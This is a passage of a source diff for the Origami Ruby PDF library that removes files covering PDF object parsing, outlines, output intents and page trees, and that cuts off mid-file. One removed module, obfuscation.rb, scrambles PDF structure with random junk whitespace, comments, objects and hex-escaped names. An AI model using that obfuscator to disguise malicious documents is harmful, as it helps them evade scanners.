TypeError, "Expected type Float, received #{f.class}." - end - - super(f) - end - - def self.parse(stream, parser = nil) #:nodoc: - - offset = stream.pos - - if not stream.scan(@@regexp) - raise InvalidRealObjectError, "Invalid real number format" - end - - value = stream[2].to_f - real = Real.new(value) - real.file_offset = offset - - real - end - - alias value to_f - - def to_s - sprintf("%f", self).sub(/\.0*$|(\.\d*[^0])0*$/, '\1') - end - end - -end diff -Nru origami-1.2.7/lib/origami/obfuscation.rb origami-1.2.7+really0.7.4/lib/origami/obfuscation.rb --- origami-1.2.7/lib/origami/obfuscation.rb 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/obfuscation.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,233 +0,0 @@ -module Origami - - module Obfuscator - - WHITECHARS = [ " ", "\t", "\r", "\n", "\0" ] - OBJECTS = [ Array, Boolean, Dictionary, Integer, Name, Null, Stream, String, Real, Reference ] - MAX_INT = 0xFFFFFFFF - PRINTABLE = ("!".."9").to_a + (':'..'Z').to_a + ('['..'z').to_a + ('{'..'~').to_a - FILTERS = [ :FlateDecode, :RunLengthDecode, :LZWDecode, :ASCIIHexDecode, :ASCII85Decode ] - - def self.junk_spaces(max_size = 3) - length = rand(max_size) + 1 - - ::Array.new(length) { WHITECHARS[rand(WHITECHARS.size)] }.join - end - - def self.junk_comment(max_size = 15) - length = rand(max_size) + 1 - - junk_comment = ::Array.new(length) { - byte = rand(256).chr until (not byte.nil? and byte != "\n" and byte != "\r"); byte - }.join - - "%#{junk_comment}#{EOL}" - end - - def self.junk_object(type = nil) - - if type.nil? - type = OBJECTS[rand(OBJECTS.size)] - end - - unless type.include?(Origami::Object) - raise TypeError, "Not a valid object type" - end - - Obfuscator.send("junk_#{type.to_s.split('::').last.downcase}") - end - - def self.junk_array(max_size = 5) - length = rand(max_size) + 1 - - ::Array.new(length) { - obj = Obfuscator.junk_object until (not obj.nil? and not obj.is_a?(Stream)) ; obj - }.to_o - end - - def self.junk_boolean - Boolean.new(rand(2).zero?) - end - - def self.junk_dictionary(max_size = 5) - length = rand(max_size) + 1 - - hash = Hash.new - length.times do - obj = Obfuscator.junk_object - hash[Obfuscator.junk_name] = obj unless obj.is_a?(Stream) - end - - hash.to_o - end - - def self.junk_integer(max = MAX_INT) - Integer.new(rand(max + 1)) - end - - def self.junk_name(max_size = 8) - length = rand(max_size) + 1 - - Name.new(::Array.new(length) { PRINTABLE[rand(PRINTABLE.size)] }.join) - end - - def self.junk_null - Null.new - end - - def self.junk_stream(max_data_size = 200) - - chainlen = rand(2) + 1 - chain = ::Array.new(chainlen) { FILTERS[rand(FILTERS.size)] } - - length = rand(max_data_size) + 1 - junk_data = ::Array.new(length) { rand(256).chr }.join - - stm = Stream.new - stm.dictionary = Obfuscator.junk_dictionary(5) - stm.setFilter(chain) - stm.data = junk_data - - stm - end - - def self.junk_string(max_size = 10) - length = rand(max_size) + 1 - - strtype = (rand(2).zero?) ? ByteString : HexaString - - strtype.new(::Array.new(length) { PRINTABLE[rand(PRINTABLE.size)] }.join) - end - - def self.junk_real - Real.new(rand * rand(MAX_INT + 1)) - end - - def self.junk_reference(max_no = 300, max_gen = 1) - no = rand(max_no) + 1 - gen = rand(max_gen) - - Reference.new(no, gen) - end - - end - - class Dictionary - - def to_obfuscated_str - content = TOKENS.first + Obfuscator.junk_spaces - self.each_pair { |key, value| - content << Obfuscator.junk_spaces + - key.to_obfuscated_str + Obfuscator.junk_spaces + - value.to_obfuscated_str + Obfuscator.junk_spaces - } - - content << TOKENS.last - super(content) - end - - end - - module Object - alias :to_obfuscated_str :to_s - end - - class Array - def to_obfuscated_str - content = TOKENS.first + Obfuscator.junk_spaces - self.each { |entry| - content << entry.to_o.to_obfuscated_str + Obfuscator.junk_spaces - } - - content << TOKENS.last - - super(content) - end - end - - class Null - alias :to_obfuscated_str :to_s - end - - class Boolean - alias :to_obfuscated_str :to_s - end - - class Integer - alias :to_obfuscated_str :to_s - end - - class Real - alias :to_obfuscated_str :to_s - end - - class Reference - def to_obfuscated_str - refstr = refno.to_s + Obfuscator.junk_spaces + refgen.to_s + Obfuscator.junk_spaces + "R" - - super(refstr) - end - end - - class ByteString - def to_obfuscated_str - to_s - end - end - - class HexaString - def to_obfuscated_str - to_s - end - end - - class Name - def to_obfuscated_str(prop = 2) - name = @value.dup - - forbiddenchars = [ " ","#","\t","\r","\n","\0","[","]","<",">","(",")","%","/","\\" ] - - name.gsub!(/./) do |c| - if rand(prop) == 0 or forbiddenchars.include?(c) - hexchar = c[0].to_s(base=16) - hexchar = "0" + hexchar if hexchar.length < 2 - - '#' + hexchar - else - c - end - end - - super(TOKENS.first + name) - end - end - - class Stream - def to_obfuscated_str - content = "" - - content << @dictionary.to_obfuscated_str - content << "stream" + EOL - content << self.rawdata - content << EOL << TOKENS.last - - super(content) - end - end - - class Trailer - - def to_obfuscated_str - content = "" - if self.has_dictionary? - content << TOKENS.first << EOL << @dictionary.to_obfuscated_str << EOL - end - - content << XREF_TOKEN << EOL << @startxref.to_s << EOL << TOKENS.last << EOL - - content - end - - end - -end diff -Nru origami-1.2.7/lib/origami/object.rb origami-1.2.7+really0.7.4/lib/origami/object.rb --- origami-1.2.7/lib/origami/object.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/object.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,645 +0,0 @@ -=begin - -= File - object.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -class Bignum #:nodoc: - def to_o - Origami::Integer.new(self) - end -end - -class Fixnum #:nodoc: - def to_o - Origami::Integer.new(self) - end -end - -class Array #:nodoc: - def to_o - Origami::Array.new(self) - end -end - -class Float #:nodoc: - def to_o - Origami::Real.new(self) - end -end - -class Hash #:nodoc: - def to_o - Origami::Dictionary.new(self) - end -end - -class TrueClass #:nodoc: - def to_o - Origami::Boolean.new(true) - end -end - -class FalseClass #:nodoc: - def to_o - Origami::Boolean.new(false) - end -end - -class NilClass #:nodoc: - def to_o - Origami::Null.new - end -end - -class Symbol #:nodoc: - def to_o - Origami::Name.new(self) - end - - def value - self - end - -end - -class String #:nodoc: - def to_o - Origami::ByteString.new(self) - end - - def is_binary_data? - ( self.count( "\x00" ) > 0 ) unless empty? - end -end - -# -# Module for parsing/generating PDF files. -# -module Origami - - # - # Mixin' module for objects which can store their options into an inner Dictionary. - # - module StandardObject #:nodoc: - - DEFAULT_ATTRIBUTES = { :Type => Object, :Version => "1.2" } #:nodoc: - - def self.included(receiver) #:nodoc: - receiver.instance_variable_set(:@fields, Hash.new(DEFAULT_ATTRIBUTES)) - receiver.extend(ClassMethods) - end - - module ClassMethods #:nodoc:all - - def inherited(subclass) - subclass.instance_variable_set(:@fields, Marshal.load(Marshal.dump(@fields))) - end - - def fields - @fields - end - - def field(name, attributes) - if attributes[:Required] == true and attributes.has_key?(:Default) and attributes[:Type] == Name - self.add_type_info(self, name, attributes[:Default]) - end - - if not @fields.has_key?(name) - @fields[name] = attributes - else - @fields[name].merge! attributes - end - - define_field_methods(name) - end - - def define_field_methods(field) - reader = lambda { obj = self[field]; obj.is_a?(Reference) ? obj.solve : obj } - writer = lambda { |value| self[field] = value } - set = lambda { |value| self[field] = value; self } - - send(:define_method, field.id2name, reader) - send(:define_method, field.id2name + "=", writer) - send(:define_method, "set" + field.id2name, set) - end - - # - # Returns an array of required fields for the current Object. - # - def required_fields - fields = [] - @fields.each_pair { |name, attributes| - fields << name if attributes[:Required] == true - } - - fields - end - - def hint_type(name) - if @fields.has_key?(name) - @fields[name][:Type] - end - end - end - - def pre_build #:nodoc: - - set_default_values - do_type_check if Origami::OPTIONS[:enable_type_checking] == true - - super - end - - # - # Check if an attribute is set in the current Object. - # _attr_:: The attribute name. - # - def has_field? (field) - not self[field].nil? - end - - # - # Returns the version and level required by the current Object. - # - def pdf_version_required #:nodoc: - max = [ 1.0, 0 ] - - self.each_key do |field| - attributes = self.class.fields[field.value] - - current_version = attributes.has_key?(:Version) ? attributes[:Version].to_f : 0 - current_level = attributes[:ExtensionLevel] || 0 - current = [ current_version, current_level ] - - max = current if (current <=> max) > 0 - - sub = self[field.value].pdf_version_required - max = sub if (sub <=> max) > 0 - end - - max - end - - def set_default_value(field) #:nodoc: - if self.class.fields[field][:Default] - self[field] = self.class.fields[field][:Default] - self[field].pre_build - end - end - - def set_default_values #:nodoc: - self.class.required_fields.each do |field| - set_default_value(field) unless has_field?(field) - end - end - - def do_type_check #:nodoc: - self.class.fields.each_pair do |field, attributes| - - if not self[field].nil? and not attributes[:Type].nil? - types = attributes[:Type].is_a?(::Array) ? attributes[:Type] : [ attributes[:Type] ] - if not self[field].is_a?(Reference) and types.all? {|type| not self[field].is_a?(type.native_type)} - puts "Warning: in object #{self.class}, field `#{field.to_s}' has unexpected type #{self[field].class}" - end - end - end - end - - end - - class InvalidObjectError < Exception #:nodoc: - end - - class UnterminatedObjectError < Exception #:nodoc: - attr_reader :obj - def initialize(msg,obj) - super(msg) - @obj = obj - end - end - - WHITESPACES = "([ \\f\\t\\r\\n\\0]|%[^\\n]*\\n)*" #:nodoc: - WHITECHARS_NORET = "[ \\f\\t\\0]*" #:nodoc: - EOL = "\r\n" #:nodoc: - WHITECHARS = "[ \\f\\t\\r\\n\\0]*" #:nodoc: - REGEXP_WHITESPACES = Regexp.new(WHITESPACES) #:nodoc: - - # - # Parent module representing a PDF Object. - # PDF specification declares a set of primitive object types : - # * Null - # * Boolean - # * Integer - # * Real - # * Name - # * String - # * Array - # * Dictionary - # * Stream - # - module Object - - TOKENS = %w{ obj endobj } #:nodoc: - @@regexp_obj = Regexp.new(WHITESPACES + "(\\d+)" + WHITESPACES + "(\\d+)" + WHITESPACES + TOKENS.first + WHITESPACES) - @@regexp_endobj = Regexp.new(WHITESPACES + TOKENS.last + WHITESPACES) - - attr_accessor :no, :generation, :file_offset, :objstm_offset - attr_accessor :parent - - # - # Creates a new PDF Object. - # - def initialize(*cons) - @indirect = false - @no, @generation = 0, 0 - - super(*cons) unless cons.empty? - end - - # - # Sets whether the object is indirect or not. - # Indirect objects are allocated numbers at build time. - # - def set_indirect(bool) - unless bool == true or bool == false - raise TypeError, "The argument must be boolean" - end - - if not bool - @no = @generation = 0 - @pdf = nil - end - - @indirect = bool - self - end - - # - # Generic method called just before the object is finalized. - # At this time, no number nor generation allocation has yet been done. - # - def pre_build - self - end - - # - # Generic method called just after the object is finalized. - # At this time, any indirect object has its own number and generation identifier. - # - def post_build - self - end - - # - # Compare two objects from their respective numbers. - # - def <=>(obj) - [@no, @generation] <=> [obj.no, obj.generation] - end - - # - # Returns whether the objects is indirect, which means that it is not embedded into another object. - # - def is_indirect? - @indirect - end - - # - # Deep copy of an object. - # - def copy - saved_pdf = @pdf - saved_parent = @parent - - saved_xref_cache = @xref_cache - @pdf = @parent = nil # do not process parent object and document in the copy - - # Perform the recursive copy (quite dirty). - copyobj = Marshal.load(Marshal.dump(self)) - - # restore saved values - @pdf = saved_pdf - @parent = saved_parent - - copyobj.set_pdf(saved_pdf) if copyobj.is_indirect? - copyobj.parent = parent - - copyobj - end - - # - # Returns an indirect reference to this object, or a Null object is this object is not indirect. - # - def reference - unless self.is_indirect? - raise InvalidObjectError, "Cannot reference a direct object" - end - - ref = Reference.new(@no, @generation) - ref.parent = self - - ref - end - - # - # Returns an array of references pointing to the current object. - # - def xrefs - unless self.is_indirect? - raise InvalidObjectError, "Cannot find xrefs to a direct object" - end - - if self.pdf.nil? - raise InvalidObjectError, "Not attached to any PDF" - end - - xref_cache = Hash.new([]) - @pdf.root_objects.each do |obj| - case obj - when Dictionary,Array then - xref_cache.update(obj.xref_cache) do |ref, cache1, cache2| - cache1.concat(cache2) - end - - when Stream then - obj.dictionary.xref_cache.each do |ref, cache| - cache.map!{obj} - end - - xref_cache.update(obj.dictionary.xref_cache) do |ref, cache1, cache2| - cache1.concat(cache2) - end - end - end - - xref_cache[self.reference] - end - - # - # Creates an exportable version of current object. - # The exportable version is a copy of _self_ with solved references, no owning PDF and no parent. - # References to Catalog or PageTreeNode objects have been destroyed. - # - # When exported, an object can be moved into another document without hassle. - # - def export - exported_obj = self.logicalize - exported_obj.no = exported_obj.generation = 0 - exported_obj.set_pdf(nil) if exported_obj.is_indirect? - exported_obj.parent = nil - exported_obj.xref_cache.clear - - exported_obj - end - - # - # Returns a logicalized copy of _self_. - # See logicalize! - # - def logicalize #:nodoc: - self.copy.logicalize! - end - - # - # Transforms recursively every references to the copy of their respective object. - # Catalog and PageTreeNode objects are excluded to limit the recursion. - # - def logicalize! #:nodoc: - - def resolve_all_references(obj, browsed = [], ref_cache = {}) - return if browsed.include?(obj) - browsed.push(obj) - - if obj.is_a?(ObjectStream) - obj.each do |subobj| - resolve_all_references(obj, browsed, ref_cache) - end - end - - if obj.is_a?(Dictionary) or obj.is_a?(Array) - obj.map! do |subobj| - if subobj.is_a?(Reference) - new_obj = - if ref_cache.has_key?(subobj) - ref_cache[subobj] - else - ref_cache[subobj] = subobj.solve.copy - end - new_obj.no = new_obj.generation = 0 - new_obj.parent = obj - - new_obj unless new_obj.is_a?(Catalog) or new_obj.is_a?(PageTreeNode) - else - subobj - end - end - - obj.each do |subobj| - resolve_all_references(subobj, browsed, ref_cache) - end - - elsif obj.is_a?(Stream) - resolve_all_references(obj.dictionary, browsed, ref_cache) - end - end - - resolve_all_references(self) - end - - # - # Returns the indirect object which contains this object. - # If the current object is already indirect, returns self. - # - def indirect_parent - obj = self - obj = obj.parent until obj.is_indirect? - - obj - end - - # - # Returns self. - # - def to_o - self - end - - # - # Returns self. - # - def solve - self - end - - # - # Returns the size of this object once converted to PDF code. - # - def size - to_s.size - end - - # - # Returns the PDF which the object belongs to. - # - def pdf - if self.is_indirect? then @pdf - else - @parent.pdf if @parent - end - end - - def set_pdf(pdf) - if self.is_indirect? then @pdf = pdf - else - raise InvalidObjectError, "You cannot set the PDF parent of a direct object" - end - end - - class << self - - def typeof(stream, noref = false) #:nodoc: - stream.skip(REGEXP_WHITESPACES) - - case stream.peek(1) - when '/' then return Name - when '<' - return (stream.peek(2) == '<<') ? Stream : HexaString - when '(' then return ByteString - when '[' then return Origami::Array - when 'n' then - return Null if stream.peek(4) == 'null' - when 't' then - return Boolean if stream.peek(4) == 'true' - when 'f' then - return Boolean if stream.peek(5) == 'false' - else - if not noref and stream.check(Reference::REGEXP_TOKEN) then return Reference - elsif stream.check(Real::REGEXP_TOKEN) then return Real - elsif stream.check(Integer::REGEXP_TOKEN) then return Integer - else - nil - end - end - - nil - end - - def parse(stream, parser = nil) #:nodoc: - offset = stream.pos - - # - # End of body ? - # - return nil if stream.match?(/xref/) or stream.match?(/trailer/) or stream.match?(/startxref/) - - if stream.scan(@@regexp_obj).nil? - raise InvalidObjectError, - "Object shall begin with '%d %d obj' statement" - end - - no = stream[2].to_i - gen = stream[4].to_i - - type = typeof(stream) - if type.nil? - raise InvalidObjectError, - "Cannot determine object (no:#{no},gen:#{gen}) type" - end - - begin - newObj = type.parse(stream, parser) - rescue Exception => e - raise InvalidObjectError, - "Failed to parse object (no:#{no},gen:#{gen})\n\t -> [#{e.class}] #{e.message}" - end - - newObj.set_indirect(true) - newObj.no = no - newObj.generation = gen - newObj.file_offset = offset - - if stream.skip(@@regexp_endobj).nil? - raise UnterminatedObjectError.new("Object shall end with 'endobj' statement", newObj) - end - - newObj - end - - def skip_until_next_obj(stream) #:nodoc: - [ @@regexp_obj, /xref/, /trailer/, /startxref/ ].each do |re| - if stream.scan_until(re) - stream.pos -= stream.matched_size - return true - end - end - - false - end - end - - def pdf_version_required #:nodoc: - [ 1.0, 0 ] - end - - # - # Returns the symbol type of this Object. - # - def type - self.class.to_s.split("::").last.to_sym - end - - def self.native_type; Origami::Object end #:nodoc: - - # - # Returns the native PDF type of this Object. - # - def native_type - self.class.native_type - end - - def cast_to(type) #:nodoc: - if type.native_type != self.native_type - raise TypeError, "Incompatible cast from #{self.class} to #{type}" - end - - self - end - - # - # Outputs this object into PDF code. - # _data_:: The object data. - # - def to_s(data) - - content = "" - content << "#{no} #{generation} obj" << EOL if self.is_indirect? - content << data - content << EOL << "endobj" << EOL if self.is_indirect? - - content - end - - alias output to_s - - end -end diff -Nru origami-1.2.7/lib/origami/outline.rb origami-1.2.7+really0.7.4/lib/origami/outline.rb --- origami-1.2.7/lib/origami/outline.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/outline.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,59 +0,0 @@ -=begin - -= File - outline.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class Outline < Dictionary - include StandardObject - - field :Type, :Type => Name, :Default => :Outlines - field :First, :Type => Dictionary - field :Last, :Type => Dictionary - field :Count, :Type => Integer - end - - class OutlineItem < Dictionary - include StandardObject - - module Style - ITALIC = 1 << 0 - BOLD = 1 << 1 - end - - field :Title, :Type => String, :Required => true - field :Parent, :Type => Dictionary, :Required => true - field :Prev, :Type => Dictionary - field :Next, :Type => Dictionary - field :First, :Type => Dictionary - field :Last, :Type => Dictionary - field :Count, :Type => Integer - field :Dest, :Type => [ Name, String, Array ] - field :A, :Type => Dictionary, :Version => "1.1" - field :SE, :Type => Dictionary, :Version => "1.3" - field :C, :Type => Array, :Default => [ 0.0, 0.0, 0.0 ], :Version => "1.4" - field :F, :Type => Integer, :Default => 0, :Version => "1.4" - end - -end diff -Nru origami-1.2.7/lib/origami/outputintents.rb origami-1.2.7+really0.7.4/lib/origami/outputintents.rb --- origami-1.2.7/lib/origami/outputintents.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/outputintents.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,94 +0,0 @@ -=begin - -= File - outputintents.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class OutputIntent < Dictionary - include StandardObject - - module Intent - PDFX = :GTS_PDFX - PDFA1 = :GTS_PDFA1 - PDFE1 = :GTS_PDFE1 - end - - field :Type, :Type => Name, :Default => :OutputIntent - field :S, :Type => Name, :Version => '1.4', :Required => true - field :OutputCondition, :Type => String - field :OutputConditionIdentifier, :Type => String - field :RegistryName, :Type => String - field :Info, :Type => String - field :DestOutputProfile, :Type => Stream - end - - class PDF - - def is_a_pdfa1? - self.Catalog.OutputIntents.is_a?(Array) and - self.Catalog.OutputIntents.any?{|intent| - intent = intent.solve; - intent.S == OutputIntent::Intent::PDFA1 - } and - self.has_metadata? and ( - doc = REXML::Document.new self.Catalog.Metadata.data; - REXML::XPath.match(doc, "*/*/rdf:Description[@xmlns:pdfaid]").any? {|desc| - desc.elements["pdfaid:conformance"].text == "A" and - desc.elements["pdfaid:part"].text == "1" - } - ) - end - - private - - def intents_as_pdfa1 - unless self.is_a_pdfa1? - self.Catalog.OutputIntents ||= [] - self.Catalog.OutputIntents << self.insert( - OutputIntent.new( - :Type => :OutputIntent, - :S => OutputIntent::Intent::PDFA1, - :OutputConditionIdentifier => "RGB" - ) - ) - - metadata = self.create_metadata - doc = REXML::Document.new(metadata.data) - - desc = REXML::Element.new 'rdf:Description' - desc.add_attribute 'rdf:about', '' - desc.add_attribute 'xmlns:pdfaid', 'http://www.aiim.org/pdfa/ns/id/' - desc.add REXML::Element.new('pdfaid:conformance').add_text('A') - desc.add REXML::Element.new('pdfaid:part').add_text('1') - doc.elements["*/rdf:RDF"].add desc - - xml = ""; doc.write(xml, 3) - metadata.data = xml - end - end - end -end - - - diff -Nru origami-1.2.7/lib/origami/page.rb origami-1.2.7+really0.7.4/lib/origami/page.rb --- origami-1.2.7/lib/origami/page.rb 2013-05-19 16:31:18.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/page.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,660 +0,0 @@ -=begin - -= File - page.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class PDF - - # - # Appends a page or list of pages to the end of the page tree. - # - def append_page(page = Page.new, *more) - raise InvalidPDFError, "Invalid page tree" if not self.Catalog or not self.Catalog.Pages or not self.Catalog.Pages.is_a?(PageTreeNode) - - pages = [ page ].concat(more).map! do |pg| - if pg.pdf and pg.pdf != self - # Page from another document must be exported. - pg.export - else - pg - end - end - - treeroot = self.Catalog.Pages - - treeroot.Kids ||= [] #:nodoc: - treeroot.Kids.concat(pages) - treeroot.Count = treeroot.Kids.length - - pages.each do |page| - page.Parent = treeroot - end - - self - end - - # - # Inserts a page at position _index_ into the document. - # - def insert_page(index, page) - raise InvalidPDFError, "Invalid page tree" if not self.Catalog or not self.Catalog.Pages or not self.Catalog.Pages.is_a?(PageTreeNode) - - # Page from another document must be exported. - page = page.export if page.pdf and page.pdf != self - - self.Catalog.Pages.insert_page(index, page) - self - end - - # - # Returns an array of Page - # - def pages - raise InvalidPDFError, "Invalid page tree" if not self.Catalog or not self.Catalog.Pages or not self.Catalog.Pages.is_a?(PageTreeNode) - - self.Catalog.Pages.children - end - - # - # Iterate through each page, returns self. - # - def each_page(&b) - raise InvalidPDFError, "Invalid page tree" if not self.Catalog or not self.Catalog.Pages or not self.Catalog.Pages.is_a?(PageTreeNode) - - self.Catalog.Pages.each_page(&b) - self - end - - # - # Get the n-th Page object. - # - def get_page(n) - raise InvalidPDFError, "Invalid page tree" if not self.Catalog or not self.Catalog.Pages or not self.Catalog.Pages.is_a?(PageTreeNode) - - self.Catalog.Pages.get_page(n) - end - - # - # Lookup page in the page name directory. - # - def get_page_by_name(name) - resolve_name Names::Root::PAGES, name - end - - # - # Calls block for each named page. - # - def each_named_page(&b) - each_name(Names::Root::PAGES, &b) - end - - end - - module ResourcesHolder - - def add_extgstate(extgstate, name = nil) - add_resource(Resources::EXTGSTATE, extgstate, name) - end - - def add_colorspace(colorspace, name = nil) - add_resource(Resources::COLORSPACE, colorspace, name) - end - - def add_pattern(pattern, name = nil) - add_resource(Resources::PATTERN, pattern, name) - end - - def add_shading(shading, name = nil) - add_resource(Resources::SHADING, shading, name) - end - - def add_xobject(xobject, name = nil) - add_resource(Resources::XOBJECT, xobject, name) - end - - def add_font(font, name = nil) - add_resource(Resources::FONT, font, name) - end - - def add_properties(properties, name = nil) - add_resource(Resources::PROPERTIES, properties, name) - end - - def add_resource(type, rsrc, name = nil) - return existing if not name and existing = ls_resources(type).key(rsrc) - - name = new_id(type) unless name - target = self.is_a?(Resources) ? self : (self.Resources ||= Resources.new) - - rsrc_dict = target.send(type) || (target[type] = Dictionary.new) - rsrc_dict[name] = rsrc - - name - end - - def ls_resources(type) - target = self.is_a?(Resources) ? self : (self.Resources ||= Resources.new) - - rsrc = {} - (target.send(type) || {}).each_pair do |name, obj| - rsrc[name.value] = obj.solve - end - - rsrc - end - - def extgstates; ls_resources(Resources::EXTGSTATE) end - def colorspaces; ls_resources(Resources::COLORSPACE) end - def patterns; ls_resources(Resources::PATTERN) end - def shadings; ls_resources(Resources::SHADING) end - def xobjects; ls_resources(Resources::XOBJECT) end - def fonts; ls_resources(Resources::FONT) end - def properties; ls_resources(Resources::PROPERTIES) end - def resources; - self.extgstates. - merge self.colorspaces. - merge self.patterns. - merge self.shadings. - merge self.xobjects. - merge self.fonts. - merge self.properties - end - - private - - def new_id(type, prefix = nil) #:nodoc: - prefix ||= - { - Resources::EXTGSTATE => 'ExtG', - Resources::COLORSPACE => 'CS', - Resources::PATTERN => 'P', - Resources::SHADING => 'Sh', - Resources::XOBJECT => 'Im', - Resources::FONT => 'F', - Resources::PROPERTIES => 'Pr' - }[type] - - rsrc = ls_resources(type) - n = '1' - - while rsrc.include?((prefix + n).to_sym) - n.next! - end - - (prefix + n).to_sym - end - - def new_extgstate_id; new_id(Resources::EXTGSTATE) end - def new_colorspace_id; new_id(Resources::COLORSPACE) end - def new_pattern_id; new_id(Resources::PATTERN) end - def new_shading_id; new_id(Resources::SHADING) end - def new_xobject_id; new_id(Resources::XOBJECT) end - def new_font_id; new_name(Resources::FONT) end - def new_properties_id; new_name(Resources::PROPERTIES) end - end - - # - # Class representing a Resources Dictionary for a Page. - # - class Resources < Dictionary - - include StandardObject - include ResourcesHolder - - EXTGSTATE = :ExtGState - COLORSPACE = :ColorSpace - PATTERN = :Pattern - SHADING = :Shading - XOBJECT = :XObject - FONT = :Font - PROPERTIES = :Properties - - field EXTGSTATE, :Type => Dictionary - field COLORSPACE, :Type => Dictionary - field PATTERN, :Type => Dictionary - field SHADING, :Type => Dictionary, :Version => "1.3" - field XOBJECT, :Type => Dictionary - field FONT, :Type => Dictionary - field :ProcSet, :Type => Array - field PROPERTIES, :Type => Dictionary, :Version => "1.2" - - def pre_build - add_font(Font::Type1::Standard::Helvetica.new.pre_build) unless self.Font - - super - end - - end - - # - # Class representing a node in a Page tree. - # - class PageTreeNode < Dictionary - include StandardObject - - field :Type, :Type => Name, :Default => :Pages, :Required => true - field :Parent, :Type => Dictionary - field :Kids, :Type => Array, :Default => [], :Required => true - field :Count, :Type => Integer, :Default => 0, :Required => true - - def initialize(hash = {}) - self.Count = 0 - self.Kids = [] - - super(hash) - - set_indirect(true) - end - - def pre_build #:nodoc: - self.Count = self.children.length - - super - end - - def insert_page(index, page) - - if index > self.Count - raise IndexError, "Invalid index for page tree" - end - - count = 0 - kids = self.Kids - - kids.length.times { |n| - if count == index - kids.insert(n, page) - self.Count = self.Count + 1 - page.Parent = self - return self - else - node = kids[n].is_a?(Reference) ? kids[n].solve : kids[n] - case node - when Page - count = count + 1 - next - when PageTreeNode - if count + node.Count > index - node.insert_page(index - count, page) - self.Count = self.Count + 1 - return self - else - count = count + node.Count - next - end - end - end - } - - if count == index - self << page - else - raise IndexError, "An error occured while inserting page" - end - - self - end - - # - # Returns an array of Page inheriting this tree node. - # - def children - pageset = [] - - unless self.Count.nil? - [ self.Count.value, self.Kids.length ].min.times do |n| - node = self.Kids[n].is_a?(Reference) ? self.Kids[n].solve : self.Kids[n] - case node - when PageTreeNode then pageset.concat(node.children) - when Page then pageset << node - end - end - end - - pageset - end - - # - # Iterate through each page of that node. - # - def each_page(&b) - unless self.Count.nil? - [ self.Count.value, self.Kids.length ].min.times do |n| - node = self.Kids[n].is_a?(Reference) ? self.Kids[n].solve : self.Kids[n] - case node - when PageTreeNode then node.each_page(&b) - when Page then b.call(node) - end - end - end - end - - # - # Get the n-th Page object in this node, starting from 1. - # - def get_page(n) - raise IndexError, "Page numbers are referenced starting from 1" if n < 1 - - decount = n - loop do - [ self.Count.value, self.Kids.length ].min.times do |i| - node = self.Kids[i].is_a?(Reference) ? self.Kids[i].solve : self.Kids[i] - - case node - when Page - decount = decount - 1 - return node if decount == 0 - - when PageTreeNode - nchilds = [ node.Count.value, node.Kids.length ].min - if nchilds >= decount - return node.get_page(decount) - else - decount -= nchilds - end - end - end - end - end - - def << (pageset) - pageset = [pageset] unless pageset.is_a?(::Array) - raise TypeError, "Cannot add anything but Page and PageTreeNode to this node" unless pageset.all? { |item| item.is_a?(Page) or item.is_a?(PageTreeNode) } - - self.Kids ||= Array.new - self.Kids.concat(pageset) - self.Count = self.Kids.length - - pageset.each do |node| - node.Parent = self - end - end - end - - # Forward declaration. - class ContentStream < Stream; end - - # - # Class representing a Page in the PDF document. - # - class Page < Dictionary - - include StandardObject - include ResourcesHolder - - module Format - A0 = Rectangle[:width => 2384, :height => 3370] - A1 = Rectangle[:width => 1684, :height => 2384] - A2 = Rectangle[:width => 1191, :height => 1684] - A3 = Rectangle[:width => 842, :height => 1191] - A4 = Rectangle[:width => 595, :height => 842] - A5 = Rectangle[:width => 420, :height => 595] - A6 = Rectangle[:width => 298, :height => 420] - A7 = Rectangle[:width => 210, :height => 298] - A8 = Rectangle[:width => 147, :height => 210] - A9 = Rectangle[:width => 105, :height => 147] - A10 = 